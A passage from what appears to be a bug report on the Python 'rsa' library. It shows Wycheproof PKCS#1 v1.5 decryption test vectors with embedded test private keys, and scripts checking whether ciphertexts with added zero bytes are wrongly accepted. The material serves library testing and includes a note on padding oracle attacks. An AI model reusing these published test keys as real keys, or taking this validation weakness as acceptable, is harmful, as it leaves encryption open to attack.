"00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d", "result" : "invalid", "flags" : [] }, """ print("\nTest with prepended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) """ { "tcId" : 32, "comment" : "appended bytes to ciphertext", "msg" : "54657374", "ct" : "4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d0000", "result" : "invalid", "flags" : [] }, """ print("\nTest with appended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d0000") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) print("\nTest with original ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) ``` 3072-bit test vector: ``` import rsa from rsa import PrivateKey import json """ { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "0501205bd17b88d0d6626dd0fec898a0fd7f68f8dddcc314f74d167c40495b958a87e4ed63202e6ac68f4f4f4b88e3ec7a07d85757a7458468b766aad9a40f77337855408b28d140e75c2e6b3604ea8907bbd7f8e9578c2400ae645d28e2deef8bf718e29cf12fccb92fef9869f43aee5bd6adc223848d169cd6c27c2766652766ff81993b3e015a553decee0ffdc1624f39f8d96b6ed5d95047c1570b59fa2eb3d688dd5e14acc9407b8094f18b4694244eb1adcd655d873f57ff9af6e4fec470be236baf3b20c2040ab360d759c8b4e618bf8bd4e0ec6698f1b72c7160ed0521c82b5176b60fb63503d0ae23f6e2fb7a609305b0af62150b921ac53f4de899666cb01db0c9d8b650753015c1b6e682e6bf38204e59f7409c3808c0e53f254935540a381a963c2c1a77c6f987f06a07a0572686ed22882dbc82e7823cec080a58d72b09d00cc1d245cf158ff49cc40599d3af719dc301b4aa7f5b03629ae853e9daabe284db86d5c41d0401143df2b4593ef4e3747209c523f5a7f80f02d011", "e" : "010001", "keysize" : 3072, "n" : "00dc8f7880672f0cf9d63617a8a58bdd271a109badda0fa826f94b8a795526b6a49a80564ccaba8a9491a935a53edeae1d9a7b5463d9e2ef3ee0ce7bff5d4b6c8147b5c073c2f220515d531d55a36687a6de3c34775c2f15191ac0a742d7342228c8d910fe6bbca439539c485debcbd0ee0e4bae317503b83cee8100ac7bb4587467cbc4373c4bda2eedf7c41631e50922b580f5bce81d24b208cabcd2d75fcfe99f75b493dffc5c9bd990f7fc3bf2efe392fecae36f3e4ef4456c1b5de99cc7451733a910b6834b61ec29274d986be3752c350b13a327dabc08dfcf6565499ad26e853446633eadb2970ca95bcf6bf05ffdbc2a804378d76985a71f06f90979f9fef716c36aa625a45b5eedf50825a53e9d9435b23caab9e5c64d38fd3a767e185ad7727d6e15f9e9bab2f4184d6487695db9a2698c672b2e823410dbef1d93fe40c9d357ee9fc77f849de11363f583af8ccf5181ca1aeb944c422516cb401e950923e4bd881439fa1093c77582bfe1ac5993674700b6434339e0245315d86fcb", "privateKeyJwk" : { "alg" : "RSA1_5", "d" : "BQEgW9F7iNDWYm3Q_siYoP1_aPjd3MMU900WfEBJW5WKh-TtYyAuasaPT09LiOPsegfYV1enRYRot2aq2aQPdzN4VUCLKNFA51wuazYE6okHu9f46VeMJACuZF0o4t7vi_cY4pzxL8y5L--YafQ67lvWrcIjhI0WnNbCfCdmZSdm_4GZOz4BWlU97O4P_cFiTzn42Wtu1dlQR8FXC1n6LrPWiN1eFKzJQHuAlPGLRpQkTrGtzWVdhz9X_5r25P7EcL4ja687IMIECrNg11nItOYYv4vU4OxmmPG3LHFg7QUhyCtRdrYPtjUD0K4j9uL7emCTBbCvYhULkhrFP03omWZssB2wydi2UHUwFcG25oLmvzggTln3QJw4CMDlPyVJNVQKOBqWPCwad8b5h_BqB6BXJobtIogtvILngjzsCApY1ysJ0AzB0kXPFY_0nMQFmdOvcZ3DAbSqf1sDYproU-naq-KE24bVxB0EARQ98rRZPvTjdHIJxSP1p_gPAtAR", "dp" : "8b-0DNVlc5cay162WwzSv0UCIo8s7KWkXDdmEVHL_bCgooIztgD-cn_WunHp8eFeTVMmCWCQf-Ac4dYU6iILrMhRJUG3hmN9UfM1X9RCIq97Di7RHZRUtPcWUjSy6KYhiN_zye8hyhwW9wqDNhUHXKK5woZBOY_U9Y_PJlD3Uqpqdgy1hN2WnOyA4ctN_etr8au4BmGJK899wopeozCcis9_A56K9T8mfVF6NzfS3hqcoVj-8XH4vaHppvA7CRKx", "dq" : "Pjwq6NNi3JKU4txx0gUPfd_Z6lTVwwKDZq9nvhoJzeev5y4nclPELatjK_CELKaY9gLZk9GG4pBMZ2q5Zsb6Oq3uxNVgAyr1sOrRAljgQS5frTGFXm3cHjdC2leECzFX6OlGut5vxv5F5X87oKXECCXfVrx2HNptJpN1fEvTGNQUxSfLdBTjUdfEnYVk7TebwAhIBs7FCAbhyGcot80rYGISpDJnv2lNZFPcyec_W3mKSaQzHSY6IiIVS12DSkNJ", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "3I94gGcvDPnWNheopYvdJxoQm63aD6gm-UuKeVUmtqSagFZMyrqKlJGpNaU-3q4dmntUY9ni7z7gznv_XUtsgUe1wHPC8iBRXVMdVaNmh6bePDR3XC8VGRrAp0LXNCIoyNkQ_mu8pDlTnEhd68vQ7g5LrjF1A7g87oEArHu0WHRny8Q3PEvaLu33xBYx5QkitYD1vOgdJLIIyrzS11_P6Z91tJPf_Fyb2ZD3_Dvy7-OS_srjbz5O9EVsG13pnMdFFzOpELaDS2HsKSdNmGvjdSw1CxOjJ9q8CN_PZWVJmtJuhTRGYz6tspcMqVvPa_Bf_bwqgEN412mFpx8G-Ql5-f73FsNqpiWkW17t9QglpT6dlDWyPKq55cZNOP06dn4YWtdyfW4V-em6svQYTWSHaV25ommMZysugjQQ2-8dk_5AydNX7p_Hf4Sd4RNj9YOvjM9Rgcoa65RMQiUWy0AelQkj5L2IFDn6EJPHdYK_4axZk2dHALZDQzngJFMV2G_L", "p" : "_sahC_xJtYoshQ6v69uZdkmpVXWgwXYxsBHLINejICMqgVua9gQNe_I9Jn5eBjBMM-BMhebUgUQvAQqXWLoINkpwA175npyY7rQxUFsq-2d50ckdDqL7CmXcOR557Np9Uv191pkjsl365EjKzoKeusprPIo8tkqBgAYUQ0iVd4wg1imxJbafQpRfZrZE84QLz6b842EHQlbFCGPsyiznVrSp-36ZPQ8fpIssxIW36qYUBfvvFQ51Y8IVCBF2feD5", "q" : "3Z7BzubYqXGxZpAsRKTwLvN6YgU7QSiKHYc9OZy8nnvTBu2QZIfaL0m8HBgJwNTYgQbWh5UY7ZJf62aq1f88K4NGbFVO2XuWq-9Vs7AjFPUNA4WgodikauA-j86RtBISDwoQ3GgVcPpWS2hzus2Ze2FrK9dzP7cjreI7wQidoy5QlYNDbx40SLV5-yGyQGINIEWNCPD5lauswKOY8KtqZ8n1vPfgMvsdZo_mmNgDJ1ma4_3zqqqxm68XY5RDGUvj", "qi" : "GMyXHpGG-GwUTRQM6rvJriLJTo2FdTVvtqSgM5ke8hC6-jmkzRq_qZszL96eVpVa8XlFmnI2pwC3_R2ICTkG9hMK58qXQtntDVxj5qnptD302LJhwS0sL5FIvAZp8WW4uIGHnD7VjUps1aPxGT6avSeEYJwB-5CUx8giUyrXrsKgiu6eJjCVrQQmRVy1kljH_Tcxyone4xgA0ZHtcklyHCUmZlDEbcv7rjBwYE0uAJkUouJpoBuvpb34u6McTztg" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : "308206fd020100300d06092a864886f70d0101010500048206e7308206e30201000282018100dc8f7880672f0cf9d63617a8a58bdd271a109badda0fa826f94b8a795526b6a49a80564ccaba8a9491a935a53edeae1d9a7b5463d9e2ef3ee0ce7bff5d4b6c8147b5c073c2f220515d531d55a36687a6de3c34775c2f15191ac0a742d7342228c8d910fe6bbca439539c485debcbd0ee0e4bae317503b83cee8100ac7bb4587467cbc4373c4bda2eedf7c41631e50922b580f5bce81d24b208cabcd2d75fcfe99f75b493dffc5c9bd990f7fc3bf2efe392fecae36f3e4ef4456c1b5de99cc7451733a910b6834b61ec29274d986be3752c350b13a327dabc08dfcf6565499ad26e853446633eadb2970ca95bcf6bf05ffdbc2a804378d76985a71f06f90979f9fef716c36aa625a45b5eedf50825a53e9d9435b23caab9e5c64d38fd3a767e185ad7727d6e15f9e9bab2f4184d6487695db9a2698c672b2e823410dbef1d93fe40c9d357ee9fc77f849de11363f583af8ccf5181ca1aeb944c422516cb401e950923e4bd881439fa1093c77582bfe1ac5993674700b6434339e0245315d86fcb0203010001028201800501205bd17b88d0d6626dd0fec898a0fd7f68f8dddcc314f74d167c40495b958a87e4ed63202e6ac68f4f4f4b88e3ec7a07d85757a7458468b766aad9a40f77337855408b28d140e75c2e6b3604ea8907bbd7f8e9578c2400ae645d28e2deef8bf718e29cf12fccb92fef9869f43aee5bd6adc223848d169cd6c27c2766652766ff81993b3e015a553decee0ffdc1624f39f8d96b6ed5d95047c1570b59fa2eb3d688dd5e14acc9407b8094f18b4694244eb1adcd655d873f57ff9af6e4fec470be236baf3b20c2040ab360d759c8b4e618bf8bd4e0ec6698f1b72c7160ed0521c82b5176b60fb63503d0ae23f6e2fb7a609305b0af62150b921ac53f4de899666cb01db0c9d8b650753015c1b6e682e6bf38204e59f7409c3808c0e53f254935540a381a963c2c1a77c6f987f06a07a0572686ed22882dbc82e7823cec080a58d72b09d00cc1d245cf158ff49cc40599d3af719dc301b4aa7f5b03629ae853e9daabe284db86d5c41d0401143df2b4593ef4e3747209c523f5a7f80f02d0110281c100fec6a10bfc49b58a2c850eafebdb997649a95575a0c17631b011cb20d7a320232a815b9af6040d7bf23d267e5e06304c33e04c85e6d481442f010a9758ba08364a70035ef99e9c98eeb431505b2afb6779d1c91d0ea2fb0a65dc391e79ecda7d52fd7dd69923b25dfae448cace829ebaca6b3c8a3cb64a81800614434895778c20d629b125b69f42945f66b644f3840bcfa6fce361074256c50863ecca2ce756b4a9fb7e993d0f1fa48b2cc485b7eaa61405fbef150e7563c2150811767de0f90281c100dd9ec1cee6d8a971b166902c44a4f02ef37a62053b41288a1d873d399cbc9e7bd306ed906487da2f49bc1c1809c0d4d88106d6879518ed925feb66aad5ff3c2b83466c554ed97b96abef55b3b02314f50d0385a0a1d8a46ae03e8fce91b412120f0a10dc681570fa564b6873bacd997b616b2bd7733fb723ade23bc1089da32e509583436f1e3448b579fb21b240620d20458d08f0f995abacc0a398f0ab6a67c9f5bcf7e032fb1d668fe698d80327599ae3fdf3aaaab19baf17639443194be30281c100f1bfb40cd56573971acb5eb65b0cd2bf4502228f2ceca5a45c37661151cbfdb0a0a28233b600fe727fd6ba71e9f1e15e4d53260960907fe01ce1d614ea220bacc8512541b786637d51f3355fd44222af7b0e2ed11d9454b4f7165234b2e8a62188dff3c9ef21ca1c16f70a833615075ca2b9c28641398fd4f58fcf2650f752aa6a760cb584dd969cec80e1cb4dfdeb6bf1abb80661892bcf7dc28a5ea3309c8acf7f039e8af53f267d517a3737d2de1a9ca158fef171f8bda1e9a6f03b0912b10281c03e3c2ae8d362dc9294e2dc71d2050f7ddfd9ea54d5c3028366af67be1a09cde7afe72e277253c42dab632bf0842ca698f602d993d186e2904c676ab966c6fa3aadeec4d560032af5b0ead10258e0412e5fad31855e6ddc1e3742da57840b3157e8e946bade6fc6fe45e57f3ba0a5c40825df56bc761cda6d2693757c4bd318d414c527cb7414e351d7c49d